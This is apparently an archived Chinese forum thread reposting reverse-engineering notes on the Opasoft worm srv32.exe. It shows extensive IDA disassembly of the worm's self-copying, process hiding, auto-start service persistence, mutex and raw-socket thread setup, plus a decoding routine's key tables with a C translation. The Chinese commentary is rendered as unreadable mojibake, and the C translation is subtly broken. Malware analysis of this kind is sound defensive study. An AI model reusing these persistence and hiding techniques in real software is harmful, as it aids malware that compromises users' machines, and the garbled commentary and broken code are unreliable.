| ²é¿´: 1521 | »Ø¸´: 12 | |||
| µ±Ç°Ö÷ÌâÒѾ´æµµ¡£ | |||
| µ±Ç°Ö»ÏÔʾÂú×ãÖ¸¶¨Ìõ¼þµÄ»ØÌû£¬µã»÷ÕâÀï²é¿´±¾»°ÌâµÄËùÓлØÌû | |||
sdlj8051½ð³æ (ÖøÃûдÊÖ)
|
[½»Á÷]
[zt]È䳿 srv32.exe ÄæÏò·ÖÎö±Ê¼Ç£¨½ö¹©¼¼Êõ½»Á÷£©
|
||
|
1 -- Æô¶¯Æª ÎļþÃû³Æ£ºsrv32.exe È䳿Ãû³Æ£ºNet-Worm.Win32.Opasoft.s ¹¤¾ß£º IDA 4.5.1, OllyDbg V1.10 Íѿǣ¬ÓÃIDA·´»ã±à£¬µ½³ÌÐòµÄ¿ªÊ¼Î»Ö㺠CODE:00401000 start proc near CODE:00401000 enter 314h, 0 CODE:00401004 lea eax, [ebp+ExistingFileName] ; ´æ´¢²¡¶¾Â·¾¶£«Ãû³Æ CODE:0040100A push 100h ; nSize CODE:0040100F push eax ; lpFilename CODE:00401010 push 0 ; hModule CODE:00401012 call GetModuleFileNameA ; »ñµÃ²¡¶¾µÄ·¾¶Ãû³Æ CODE:00401017 call GetCommandLineA CODE:0040101C mov esi, eax ;³ÌÐòÊ×Ïȵ÷ÓÃGetModuleFileNameAºÍGetCommandLineAµÃµ½³ÌÐòËùÔÚ·¾¶£¬ÎļþÃû³ÆºÍ²ÎÊýÐÅÏ¢¡£ CODE:0040101E cld CODE:0040101F mov ah, 20h CODE:00401021 lodsb ;°ÑDS:[ESI]Ö¸ÏòµÄ×Ö½Ú´æµ½ALÖÐ,¼´µÚÒ»¸ö×Ö·û,ÕâÀïESIÖ¸ÏòÃüÁîÐÐ×Ö·û´® CODE:00401022 cmp al, 22h ; ±È½ÏESIÖ¸ÏòµÄµÚÒ»¸ö×Ö·ûÊÇ·ñÊÇ£ºË«ÒýºÅ CODE:00401024 jnz short loc_401028 ; ÔÚÕâÀïûÓÐÌø×ª CODE:00401026 mov ah, al CODE:00401028 loc_401028: CODE:00401028 lodsb CODE:00401029 test al, al CODE:0040102B jz short loc_40105C ; ÅжÏÊÇ·ñµ½ÃüÁîÐÐ×Ö·û´®µÄ½áÊø·û CODE:0040102D cmp al, ah ; ±È½Ï CODE:0040102F jnz short loc_401028 ;ÕÒÏÂÒ»¸ö Ë«ÒýºÅ ³öÏÖµÄλÖ㬼´¶¨Î»µ½ÃüÁîÐеijÌÐòÃû³ÆÄ©Î²£¬ÔÙÍùºó¿ÉÄܾÍÊDzÎÊýÁË CODE:00401031 loc_401031: lodsb CODE:00401032 test al, al ; ÅжÏÊÇ·ñµ½ÃüÁîÐÐ×Ö·û´®µÄ½áÊø·û CODE:00401034 jz short loc_40105C CODE:00401036 cmp al, 20h CODE:00401038 jz short loc_401031 ;È¡µÚ¶þ´Ë³öÏÖË«ÒýºÅÒÔºóµÄµÚÒ»¸ö·Ç¿Õ¸ñ×Ö·û£¬µ±È»ÊDzÎÊýÁË CODE:0040103A and al, 0DFh ; Сд×Öĸת»»³É´óд×Öĸ CODE:0040103C cmp al, 55h ; ÃüÁîÐвÎÊý£'U' CODE:0040103E jz loc_401107 CODE:00401044 cmp al, 44h ; ²ÎÊý'D' CODE:00401046 jz loc_401165 CODE:0040104C cmp al, 43h ; ²ÎÊý'C' CODE:0040104E jz loc_401170 CODE:00401054 cmp al, 53h ; ²ÎÊý'S' CODE:00401056 jz loc_4011DA ;°Ñ²ÎÊýת»»³É´óд£¬Ìøµ½ÏàÓ¦µÄ´¦Àí´úÂ룬Èç¹ûûÓвÎÊý¾Í¼ÌÐøÖ´ÐУ¬ÎÒÃÇÏÈ¿´ÓвÎÊýµÄÇé¿ö ÏÈÀ´¿´²ÎÊýU°É£¬ÓÃOllyDbg´ò¿ªSrv32.exe,Ñ¡Ôñ²Ëµ¥µ÷ÊÔ->²ÎÊý£¬¼ÓÉϲÎÊýu£¬ÕÒµ½loc_401107£¬°´F4Ö´Ðе½£º CODE:00401107 loc_401107: CODE:00401107 push esi ;Ò®£¬ÔõôÓÃESI£¬esiÒѾָÏòÃüÁîÐÐ×Ö·û´®µÄĩβ Á˰¡£¿ÏȲ»¹Ü¿´¿´ÏÂÃæ×öʲô²Ù×÷ CODE:00401108 call sub_40132B ;µ÷ÓÃÁ˸ö×Ó³ÌÐò½øÈ¥¿´¿´ CODE:0040110D lea eax, [ebp+ExistingFileName] CODE:00401113 push 0 ; bFailIfExists CODE:00401115 push esi ; lpNewFileName CODE:00401116 push eax ; lpExistingFileName CODE:00401116 ; ²¡¶¾Â·¾¶£«Ãû³Æ CODE:00401117 call CopyFileA CODE:0040111C test eax, eax CODE:0040132B sub_40132B proc near CODE:0040132F loc_40132F: CODE:0040132F push [ebp+lpFileName] ;£¿ÕâÀïµÄÎļþÃûΪ¿Õ£¨PUSH ESI£© CODE:00401332 call DeleteFileA ;ɾ³ýÎļþ£¬ÎļþÃûΪ¿Õ£¬¸ãʲô¹í CODE:00401337 test eax, eax CODE:00401339 jnz short locret_401351 ;DeleteFileA³É¹¦Í˳öSub_40132B CODE:0040133B call GetLastError ;ÔÚÕâÀïÎÒÃÇ·µ»ØÖµÎª3£¨ÏµÍ³ÕÒ²»µ½Ö¸¶¨µÄ·¾¶£© CODE:00401340 cmp eax, 2 ; ÕÒ²»µ½Ö¸¶¨Îļþ CODE:00401343 jz short locret_401351 ; Í˳ö CODE:00401345 push 3E8h ; dwMilliseconds CODE:0040134A call Sleep CODE:0040134F jmp short loc_40132F ;³ÌÐòÔÚÕâÀïһֱѻ·£¬ÄѵÀÊÇBUG,²»»á°É£¿ CODE:00401351 locret_401351: CODE:00401351 leave CODE:00401352 retn 4 CODE:00401352 sub_40132B endp ;sub_40132BÊÇÒ»¶Îɾ³ýÎļþµÄ²Ù×÷£¬¶øÎļþÃû¾ÍÊÇ[esi]£¬¿´À´²ÎÊýUºóÃæ»¹µÃ¼ÓÉϸöÎļþÃû£¬ÎÒÃǰѲÎÊý¸Ä³É uabc.txt,¼ÌÐøÍùÏ¿´ ´Ósub_40132B³öÀ´£º CODE:0040110D lea eax, [ebp+ExistingFileName] CODE:00401113 push 0 ; bFailIfExists CODE:00401115 push esi ; lpNewFileName CODE:00401116 push eax ; lpExistingFileName CODE:00401116 ; ²¡¶¾Â·¾¶£«Ãû³Æ CODE:00401117 call CopyFileA CODE:0040111C test eax, eax CODE:0040111E jz loc_401218 ; CopyFileʧ°ÜÌø×ª °Ñ²¡¶¾¿½±´µ½ÐµÄ·¾¶£¬Å¶£¬UºóÃæµÄ²ÎÊýÊÇ¿½±´²¡¶¾µÄλÖúÍеÄÃû×Ö£¬Èç¹ûÕâ¸öеķ¾¶ÓÐÕâ¸öÎļþ¾Í~~~~~ ~~µ÷ÓÃsub_40132Bº¯Êýɾ³ýÕâ¸öÎļþ£¨ÕæºÝ°¡£¡£© ÏÖÔÚÖªµÀsub_40132BµÄ×÷ÓÃÁË£¬ºÃÔÛÃǼÌÐøÍùÏÂ×ß¡£ CODE:00401124 lea edi, [ebp+var_300] CODE:0040112A push esi CODE:0040112B push edi CODE:0040112C call lstrcpy ; °Ñ²¡¶¾ÐµÄ·¾¶ºÍÎļþÃû´æµ½[ebp+300] CODE:00401131 push edi CODE:00401132 call lstrlen CODE:00401137 add edi, eax CODE:00401139 mov ax, 4420h CODE:0040113D stosw ; ´æ´¢0x4420 CODE:0040113F lea eax, [ebp+ExistingFileName] CODE:00401145 push eax CODE:00401146 push edi CODE:00401147 call lstrcpy CODE:0040114C lea eax, [ebp+var_300] ; NewFileName + 0x4420 + ExistingFileName CODE:00401152 push eax CODE:00401153 call sub_4013A8 ; Õâ¸öº¯Êý´´½¨ÁËÒ»¸ö½ø³Ì CODE:00401158 test eax, eax ; eaxΪCreateProcessA·µ»ØÖµ CODE:0040115A jnz locret_40123C ; ´´½¨½ø³Ì³É¹¦Ìø×ª£¬Ö´ÐÐнø³Ì£¬Í˳ö´Ë³ÌÐò CODE:00401160 jmp loc_401218 Õâ¶Î´úÂëÖÐsrv32ͨ¹ýµ÷ÓÃCreateProcess´´½¨ÁËÒ»¸ö½ø³Ì£¬Ð½ø³ÌµÄÖ´ÐÐÎļþ¾ÍÊÇÉÏÃæCopyFileº¯Êý¿½±´³öµÄ srv32µÄÒ»¸ö¿½±´¡£ Èç¹û´´½¨½ø³Ì³É¹¦¾ÍÖ´ÐÐеĽø³Ì£¬Í˳ösrv32£»·ñÔòÌø×ªµ½ÈçÏÂλÖ㺠CODE:00401218 loc_401218: CODE:00401218 push offset aKernel32_dll ; lpModuleName CODE:0040121D call GetModuleHandleA CODE:00401222 push offset aRegisterservic ; lpProcName CODE:00401227 push eax ; hModule CODE:00401228 call GetProcAddress ; »ñµÃRegisterServiceProcess(Win9xº¯Êý)µØÖ· CODE:0040122D test eax, eax CODE:0040122F jz short loc_401237 CODE:00401231 push 1 ; dwType: CODE:00401231 ; RSP_SIMPLE_SERVICE = 1 Òþ²Ø½ø³Ì CODE:00401231 ; RSP_UNREGISTER_SERVICE = 0 È¡Ïû½ø³ÌÒþ²Ø CODE:00401231 ; CODE:00401233 push 0 ; dwPID = NULL ´ú±íµ±Ç°½ø³Ì CODE:00401235 call eax ; µ÷ÓÃRegisterServiceProcessº¯Êý CODE:00401237 CODE:00401237 loc_401237: CODE:00401237 call sub_40123E CODE:0040123C CODE:0040123C locret_40123C: CODE:0040123C leave CODE:0040123D retn CODE:0040123D start endp ;Èç¹û´´½¨½ø³ÌûÓгɹ¦£¬µ÷ÓÃRegisterServiceProcessº¯ÊýÀ´Òþ²Ø½ø³Ì£¬×îºóµ÷ÓÃsub_40123E¡£ ;×¢£ºRegisterServiceProcess ÊÇWin9xÖÐÒ»¸öδ¹«¿ªµÄAPIº¯Êý£¬µ÷ÓÃʱÐèҪͨ¹ýGetProcAddressµÃµ½ÆäµØÖ·£¬ ;²ÎÊýdwTypeΪ1ʱÒþ²Ø½ø³Ì£¬Îª1ʱȡÏûÒþ²Ø£¬²ÎÊýdwPIDΪ½ø³ÌµÄPID£¬ÎªÁãÔò±íʾµ±Ç°½ø³Ì¡£ ÔÙ¿´ÏÂÒ»¸ö²ÎÊý'D': CODE:00401165 loc_401165: CODE:00401165 push esi CODE:00401166 call sub_40132B CODE:0040116B jmp loc_401218 ;ºÍ²ÎÊý 'U' Ò»ÑùÒ²µ÷ÓÃÁËsub_40132B£¬Ö»ÊÇÉÙÁËCopyFileµÄ¶¯×÷£¬Ö±½ÓÌø×ªµ½ÁËRegisterServiceProcess ;¿´À´D¾ÍÊÇÓÃÀ´É¾³ýÖ¸¶¨ÎļþµÄ ¼ÌÐø²ÎÊý'C': :00401170 loc_401170: CODE:00401170 call sub_401355 ; µ÷ÓÃÁËGetProcAddressµÃµ½OpenSCManager.. ;µÈº¯ÊýµÄµØÖ· CODE:00401175 test eax, eax ; ·µ»Ø1º¯Êý Sub_401355µ÷Óóɹ¦£¬0ʧ°Ü¡£ CODE:00401177 jz loc_401218 ; ʧ°ÜÔòÌø×ª [ Last edited by sdlj8051 on 2006-10-6 at 11:24 ] |
» ²ÂÄãϲ»¶
ÌåÖÆÄÚ³¤±²ËµÌåÖÆÄÚ¾ø´ó²¿·ÖÒ»±²×ÓÔڵײ㣬ÈçͬÄãÃÇÒ»Ñù´ó²¿·ÖÆÕͨ½ÌʦæÇÒÊÕÈëµÍ
ÒѾÓÐ13È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ7È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ8È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ8È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ11È˻ظ´
ΪʲôÖйú´óѧ¹¤¿Æ½ÌÊÚÃÇË®ÁËÄÇô¶àËùνµÄ¶¥»á¶¥¿¯£¬µ«»¹ÊÇ×ö²»³öÓîÊ÷»úÆ÷ÈË£¿
ÒѾÓÐ8È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ5È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ6È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ9È˻ظ´
ÊÛSCIÒ»ÇøÎÄÕ£¬ÎÒ:8 O5 51O 54,¿ÆÄ¿ÆëÈ«,¿É+¼±
ÒѾÓÐ4È˻ظ´
sdlj8051
½ð³æ (ÖøÃûдÊÖ)
- Ó¦Öú: 0 (Ó×¶ùÔ°)
- ¹ó±ö: 0.1
- ½ð±Ò: 1149.8
- ºì»¨: 3
- Ìû×Ó: 2254
- ÔÚÏß: 18.1Сʱ
- ³æºÅ: 71297
- ×¢²á: 2005-05-30
- רҵ: µç·Óëϵͳ
2 -- ³õʼ»¯Æª
|
2 -- ³õʼ»¯Æª ÎļþÃû³Æ£ºsrv32.exe È䳿Ãû³Æ£ºNet-Worm.Win32.Opasoft.s ¹¤¾ß£º IDA 4.5.1, OllyDbg V1.10 CODE:0040123E sub_40123E proc near CODE:0040123E Buffer = byte ptr -100h CODE:0040123E enter 100h, 0 CODE:00401242 push offset aSrv3231415 ; lpName CODE:00401247 push 0FFFFFFFFh ; bInitialOwner CODE:00401249 push 0 ; lpMutexAttributes CODE:0040124B call CreateMutexA ; ´´½¨Ò»¸ö»¥³â¶ÔÏó"Srv3231415" CODE:00401250 call GetLastError CODE:00401255 test eax, eax CODE:00401257 jnz locret_401329 ; ´´½¨»¥³âʧ°ÜÔòÌø×ª;Í˳ö³ÌÐò CODE:0040125D call GetCurrentProcess CODE:00401262 push 40h ; dwPriorityClass CODE:00401264 push eax ; hProcess CODE:00401265 call SetPriorityClass ; ÉèÖÃÓÅÏȼ¶ÎªIDLE_PRIORITY_CLASS £½ 0x40 CODE:0040126A lea esi, [ebp+Buffer] CODE:00401270 push 100h ; uSize CODE:00401275 push esi ; lpBuffer CODE:00401276 call GetWindowsDirectoryA ; »ñµÃWindowsĿ¼ CODE:0040127B push esi ; lpPathName CODE:0040127C call SetCurrentDirectoryA ; ÉèÖõ±Ç°Ä¿Â¼ÎªWindowsĿ¼ CODE:00401281 call sub_401C98 ; ²éѯÊÇ·ñдÁË×¢²á±íÏî CODE:00401281 ; HKLM\Software\Microsoft\Windows\CurrentVersion\srv32 CODE:00401286 cmp ds ata, 0CODE:0040128D jz short loc_401294 ; ûÓÐдע²á±íÏî»ò CODE:0040128D ; HKLM\...\srv32\D = 0 ÔòÌø×ª CODE:0040128F call sub_4030EB ½øÈësub_40123Eºó£¬Ê×ÏÈ´´½¨ÁËÒ»¸ö»¥³âSrv3231415£¬Ê§°ÜµÄ»°´Ë³ÌÐò¾ÍÍ˳öÁË£» È»ºóÓÖÈ¥²éѯע²á±íHKLM\Software\Microsoft\Windows\CurrenteVersion\srv32Ï "D"µÄÖµ£¬Èç¹ûsrv32´æÔÚDµÄ¼üÖµ²»Îª0Ôòµ÷ÓÃsub_4030EB£¬´úÂëÈçÏ£º CODE:004030EB sub_4030EB proc near CODE:004030EB ThreadId = dword ptr -4 CODE:004030EB enter 4, 0 CODE:004030EF cmp ds:dword_406004, 0 CODE:004030F6 jnz locret_403184 CODE:004030FC mov ds:dword_406004, 1 CODE:00403106 push 18Ch ; uBytes CODE:0040310B push 0 ; uFlags CODE:0040310D call LocalAlloc CODE:00403112 mov esi, eax CODE:00403114 push esi ; lpWSAData CODE:00403115 push 101h ; wVersionRequested CODE:0040311A call WSAStartup CODE:0040311F mov edi, eax CODE:00403121 push esi ; hMem CODE:00403122 call LocalFree CODE:00403127 test edi, edi CODE:00403129 jnz short loc_403186 CODE:0040312B push 1 ; protocol:ICMP CODE:0040312D push 3 ; type: SOCK_RAW CODE:0040312F push 2 ; AF_INET CODE:00403131 call socket CODE:00403136 cmp eax, 0FFFFFFFFh CODE:00403139 jz short loc_403192 CODE:0040313B mov ds:s, eax CODE:00403140 lea eax, [ebp+ThreadId] CODE:00403143 push eax ; lpThreadId CODE:00403144 push 0 ; dwCreationFlags CODE:00403146 push ds:s ; lpParameter CODE:0040314C push offset sub_403045 ; lpStartAddress CODE:00403151 push 1000h ; dwStackSize CODE:00403156 push 0 ; lpThreadAttributes CODE:00403158 call CreateThread CODE:0040315D lea eax, [ebp+ThreadId] CODE:00403160 push eax ; lpThreadId CODE:00403161 push 0 ; dwCreationFlags CODE:00403163 push ds:s ; lpParameter CODE:00403169 push offset sub_402EEE ; lpStartAddress CODE:0040316E push 1000h ; dwStackSize CODE:00403173 push 0 ; lpThreadAttributes CODE:00403175 call CreateThread CODE:0040317A mov ds:dword_406004, 2 CODE:00403184 CODE:00403184 locret_403184: CODE:00403184 leave CODE:00403185 retn CODE:00403186 ; /////////////////////////////////////////////////////////////////////////// CODE:00403186 CODE:00403186 loc_403186: ; CODE XREF: sub_4030EB+3Ej CODE:00403186 mov ds:dword_406004, 0 CODE:00403190 leave CODE:00403191 retn CODE:00403192 ; /////////////////////////////////////////////////////////////////////////// CODE:00403192 CODE:00403192 loc_403192: ; CODE XREF: sub_4030EB+4Ej CODE:00403192 call WSACleanup CODE:00403197 mov ds:dword_406004, 0 CODE:004031A1 leave CODE:004031A2 retn CODE:004031A2 sub_4030EB endp ÔÚsub_4030EBÀï´ò¿ªÁËsocket£¬²¢´´½¨ÁËÁ½¸öỊ̈߳¨¶¯×÷Ô½À´Ô½Ã÷ÏÔÁË ^¡^£©¡£ ÓÉÓÚÎÒµÚÒ»´ÎÖ´ÐÐûÓд˼üÖµËùÒÔÌø×ªÁË£¬ÎÒÃǾÍÏÈ¿´Ìø×ªµÄÇé¿ö°É£º CODE:00401294 loc_401294: CODE:00401294 mov ds:dword_406587, 0 CODE:0040129E call sub_4033E7 µ÷ÓÃÁËÒ»¸öcall sub_4033E7¸ú½øÈ¥¿´¿´... CODE:004033E7 sub_4033E7 proc near CODE:004033E7 push ebp CODE:004033E8 mov esi, offset unk_406DB4 CODE:004033ED mov edi, offset dword_407750 CODE:004033F2 mov ebp, 0 CODE:004033F7 loc_4033F7: CODE:004033F7 cmp ebp, 20h CODE:004033FA jnb short loc_40342F ; ²»µÍÓÚ0x20¾ÍÌø×ª,Í˳öÑ»·1 CODE:004033FC mov ah, 1 CODE:004033FE loc_4033FE: CODE:004033FE cmp ah, 40h CODE:00403401 ja short loc_40342A ; ´óÓÚ0x40¾ÍÌø×ª CODE:00403403 test ah, 1 CODE:00403406 jz short loc_403409 ; ahµÄµÚ0λΪ0ÔòÌø×ª CODE:00403408 lodsb CODE:00403409 loc_403409: CODE:00403409 shl al, 1 CODE:0040340B jnb short loc_403417 CODE:0040340D movzx ecx, ss:byte_406EB4[ebp] CODE:00403414 bts [edi], ecx CODE:00403417 loc_403417: CODE:00403417 inc ebp CODE:00403418 test ebp, 3 CODE:0040341E jnz short loc_403409 CODE:00403420 sub ebp, 4 CODE:00403423 inc ah CODE:00403425 add edi, 4 CODE:00403428 jmp short loc_4033FE CODE:0040342A ; ////////////////////////////////////////////////////////////// CODE:0040342A loc_40342A: CODE:0040342A add ebp, 4 CODE:0040342D jmp short loc_4033F7 CODE:0040342F ; /////////////////////////////////////////////////////////////// CODE:0040342F CODE:0040342F loc_40342F: CODE:0040342F pop ebp CODE:00403430 retn CODE:00403430 sub_4033E7 endp Õâ¶Î´úÂëÓÃC±íʾ£º BYTE array_406DB4[] = { 0xE0, 0x4F, 0xD7, 0x14, 0x2E, 0xF2, 0xBD, 0x81, 0x3A, 0xA6, 0x6C, 0xCB, 0x59, 0x95, 0x03, 0x78, 0x4F, 0x1C, 0xE8, 0x82, 0xD4, 0x69, 0x21, 0xB7, 0xF5, 0xCB, 0x93, 0x7E, 0x3A, 0xA0, 0x56, 0x0D, 0xF3, 0x1D, 0x84, 0xE7, 0x6F, 0xB2, 0x38, 0x4E, 0x9C, 0x70, 0x21, 0xDA, 0xC6, 0x09, 0x5B, 0xA5, 0x0D, 0xE8, 0x7A, 0xB1, 0xA3, 0x4F, 0xD4, 0x12, 0x5B, 0x86, 0xC7, 0x6C, 0x90, 0x35, 0x2E, 0xF9, 0xAD, 0x07, 0x90, 0xE9, 0x63, 0x34, 0xF6, 0x5A, 0x12, 0xD8, 0xC5, 0x7E, 0xBC, 0x4B, 0x2F, 0x81, 0xD1, 0x6A, 0x4D, 0x90, 0x86, 0xF9, 0x38, 0x07, 0xB4, 0x1F, 0x2E, 0xC3, 0x5B, 0xA5, 0xE2, 0x7C, 0x7D, 0xD8, 0xEB, 0x35, 0x06, 0x6F, 0x90, 0xA3, 0x14, 0x27, 0x82, 0x5C, 0xB1, 0xCA, 0x4E, 0xF9, 0xA3, 0x6F, 0x90, 0x06, 0xCA, 0xB1, 0x7D, 0xD8, 0xF9, 0x14, 0x35, 0xEB, 0x5C, 0x27, 0x82, 0x4E, 0x2E, 0xCB, 0x42, 0x1C, 0x74, 0xA7, 0xBD, 0x61, 0x85, 0x50, 0x3F, 0xFA, 0xD3, 0x09, 0xE8, 0x96, 0x4B, 0x28, 0x1C, 0xB7, 0xA1, 0xDE, 0x72, 0x8D, 0xF6, 0x9F, 0xC0, 0x59, 0x6A, 0x34, 0x05, 0xE3, 0xCA, 0x1F, 0xA4, 0xF2, 0x97, 0x2C, 0x69, 0x85, 0x06, 0xD1, 0x3D, 0x4E, 0xE0, 0x7B, 0x53, 0xB8, 0x94, 0xE3, 0xF2, 0x5C, 0x29, 0x85, 0xCF, 0x3A, 0x7B, 0x0E, 0x41, 0xA7, 0x16, 0xD0, 0xB8, 0x6D, 0x4D, 0xB0, 0x2B, 0xE7, 0xF4, 0x09, 0x81, 0xDA, 0x3E, 0xC3, 0x95, 0x7C, 0x52, 0xAF, 0x68, 0x16, 0x16, 0x4B, 0xBD, 0xD8, 0xC1, 0x34, 0x7A, 0xE7, 0xA9, 0xF5, 0x60, 0x8F, 0x0E, 0x52, 0x93, 0x2C, 0xD1, 0x2F, 0x8D, 0x48, 0x6A, 0xF3, 0xB7, 0x14, 0xAC, 0x95, 0x36, 0xEB, 0x50, 0x0E, 0xC9, 0x72, 0x72, 0xB1, 0x4E, 0x17, 0x94, 0xCA, 0xE8, 0x2D, 0x0F, 0x6C, 0xA9, 0xD0, 0xF3, 0x35, 0x56, 0x8B } BYTE array_406EB4[] = { 0x1A, 0x12, 0x0C, 0x04, 0x16, 0x07, 0x01, 0x11, 0x0B, 0x13, 0x05, 0x1D, 0x09, 0x0F, 0x19, 0x02, 0x1B, 0x15, 0x0A, 0x00, 0x1F, 0x06, 0x18, 0x10, 0x03, 0x17, 0x0D, 0x1C, 0x1E, 0x08, 0x14, 0x0E }; /*****Ê®½øÖƱíʾ BYTE array_406EB4[] = { 26,18,12,04,22,07,01,17, 11,19,05,29,09,15,25,02, 27,21,10,00,31,06,24,16, 03,23,13,28,30,08,20,14 } *****/ DWORD pdw_407750[8*0x40]; //i=ebp, j=ah, k=al int i,j,m=0,n; BYTE k,temp; BOOL b; for(i=0; i< 0x20; i+=4) { j = 1; while(j <= 0x40) { //ÆæÅ¼ÅÐ¶Ï if( (j & 1) != 0) { k = array_406DB4[m]; m++; } do{ b = k & 0x80; k << 1; if(b) { temp = array_406EB4; *pwd_407750 |= (temp+1); } i++; }while( (i&3) !=0 ); i -= 4; j++ pdw_407750++; //edi += 4; } } |
3Â¥2006-08-23 13:24:35
sdlj8051
½ð³æ (ÖøÃûдÊÖ)
- Ó¦Öú: 0 (Ó×¶ùÔ°)
- ¹ó±ö: 0.1
- ½ð±Ò: 1149.8
- ºì»¨: 3
- Ìû×Ó: 2254
- ÔÚÏß: 18.1Сʱ
- ³æºÅ: 71297
- ×¢²á: 2005-05-30
- רҵ: µç·Óëϵͳ
|
;ÓòÎÊý'C'ʱ£¬µ÷ÓÃÁËÏÂÃæµÄº¯Êýsub_401355 CODE:00401355 sub_401355 proc near CODE:00401355 hModule = dword ptr -8 CODE:00401355 var_4 = dword ptr -4 CODE:00401355 enter 8, 0 CODE:00401359 push edi CODE:0040135A mov [ebp+var_4], 0 CODE:00401361 push offset aAdvapi32 ; lpLibFileName CODE:00401366 call LoadLibraryA CODE:0040136B test eax, eax CODE:0040136D jz short loc_4013A2 ; µ÷ÓÃLoadLibraryʧ°ÜÊ±Ìø×ª CODE:0040136F mov [ebp+hModule], eax CODE:00401372 mov edi, offset aOpenscmanagera ; "OpenSCManagerA" CODE:00401377 mov esi, offset dword_406193 CODE:0040137C CODE:0040137C loc_40137C: CODE:0040137C push edi ; lpProcName CODE:0040137D push [ebp+hModule] ; hModule CODE:00401380 call GetProcAddress ; »ñµÃº¯ÊýAdvapi32!OpenSCManagerAµÄµØÖ· CODE:00401385 test eax, eax CODE:00401387 jz short loc_4013A2 ; µ÷ÓÃGetProcAddress ʧ°ÜÊ±Ìø×ª CODE:00401389 mov [esi], eax ; °ÑOpenSCManagerµÄµØÖ·´æµ½[ESI]ÖÐ CODE:0040138B add esi, 4 CODE:0040138E xor eax, eax CODE:00401390 xor ecx, ecx CODE:00401392 not ecx CODE:00401394 repne scasb CODE:00401396 cmp byte ptr [edi], 0 CODE:00401399 jnz short loc_40137C ; Ñ»·£¬È¡ CODE:00401399 ; 00406127 aCreateservicea db 'CreateServiceA' CODE:00401399 ; 00406136 aCloseserviceha db 'CloseServiceHandle' CODE:00401399 ; 00406149 aStartservicect db 'StartServiceCtrlDispatcherA' CODE:00401399 ; 00406165 aRegisterserv_0 db 'RegisterServiceCtrlHandlerA' CODE:00401399 ; 00406181 aSetservicestat db 'SetServiceStatus',0 CODE:00401399 ; º¯ÊýµÄµØÖ· CODE:0040139B mov [ebp+var_4], 1 ; Ð޸ķµ»ØÖµ CODE:004013A2 CODE:004013A2 loc_4013A2: CODE:004013A2 mov eax, [ebp+var_4] ; ³É¹¦·µ»ØÖµ1£¬Ê§°Ü·µ»Ø0 CODE:004013A5 pop edi CODE:004013A6 leave CODE:004013A7 retn CODE:004013A7 sub_401355 endp ;º¯Êýsub_401355 ÓÖµ÷ÓÃÁËAPIº¯ÊýLoadLibrary("Advapi32" µÃµ½Advapi32µÄÄ£¿é¾ä±ú£¬È»ºóÓÖÑ»·µ÷ÓÃÁËGetProcAddress µÃµ½OpenSCManagerA, CreateServiceA, CloseServiceHandle, StartServiceCtrlDispatcherA, RegisterServiceCtrlHandlerA,SetServiceStatusÕâЩº¯ÊýµÄµØÖ·¡£ È»ºó¾Íµ÷ÓÃOpenSCManager,CreateServiceA,´´½¨Ò»¸ö·þÎñsrv32Ö¸Ïòsrv32³ÌÐò£¬Æô¶¯²ÎÊýΪ'S' ÈçÏ´úÂ룺 CODE:0040117D push 2 CODE:0040117F push 0 ; SERVICES_ACTIVE_DATABASE CODE:00401181 push 0 ; LocalMachine CODE:00401183 call ds:dword_406193 ; OpenSCManagerº¯Êý CODE:00401189 test eax, eax CODE:0040118B jz loc_401218 ; OpenSCManagerʧ°ÜÔòÌø×ª CODE:00401191 mov esi, eax ; handle of service control manager database CODE:00401193 lea edi, [ebp+ExistingFileName] ; ²¡¶¾Â·¾¶+ÎļþÃû CODE:00401199 push edi CODE:0040119A call lstrlen ; £¨²¡¶¾Â·¾¶£«ÎļþÃû£©µÄ³¤¶È CODE:0040119F mov edx, edi CODE:004011A1 add edi, eax CODE:004011A3 mov eax, 5320h CODE:004011A8 stosd ; ´æ´¢0x5320h = " S" CODE:004011A9 xor ecx, ecx CODE:004011AB push ecx CODE:004011AC push ecx CODE:004011AD push ecx CODE:004011AE push ecx CODE:004011AF push ecx CODE:004011B0 push edx ; "ExistingFileName" + " S" CODE:004011B1 push 1 ; dwErrorControl = SERVICE_ERROR_NORMAL CODE:004011B3 push 2 ; dwStartType = SERVICE_AUTO_START CODE:004011B3 ; ×Ô¶¯Æô¶¯ CODE:004011B5 push 10h ; dwServiceType = CODE:004011B5 ; SERVICE_WIN32_OWN_PROCESS CODE:004011B7 push 0F01FFh ; dwDesiredAccess CODE:004011BC push offset aSrv32_0 ; lpDisplayName = "srv32" CODE:004011C1 push offset aSrv32_0 ; lpServiceName = "srv32" CODE:004011C6 push esi ; handle of service control manager database CODE:004011C7 call ds:dword_406197 ; CreateServiceAº¯Êý CODE:004011CD test eax, eax CODE:004011CF jz short loc_401218 CODE:004011D1 push eax CODE:004011D2 call ds:dword_40619B ; CloseServiceHandleº¯Êý CODE:004011D8 jmp short loc_401218 ;×îºóÌø×ªµ½loc_401218µ÷ÓÃRegsterServiceProcessÒþ²Ø½ø³Ì£¬ÔÙµ÷ÓÃsub_40123E ÔÙ¿´²ÎÊý'S': CODE:004011DA loc_4011DA: CODE:004011DA call sub_401355 CODE:004011DF test eax, eax CODE:004011E1 jz short loc_401218 ; º¯Êýsub_401355ʧ°ÜÌø×ª CODE:004011E3 mov [ebp+var_314], offset aSrv32_0 ; "Srv32" CODE:004011ED mov [ebp+var_310], offset loc_401467 CODE:004011F7 xor eax, eax CODE:004011F9 mov [ebp+var_30C], eax CODE:004011FF mov [ebp+var_308], eax CODE:00401205 lea eax, [ebp+var_314] 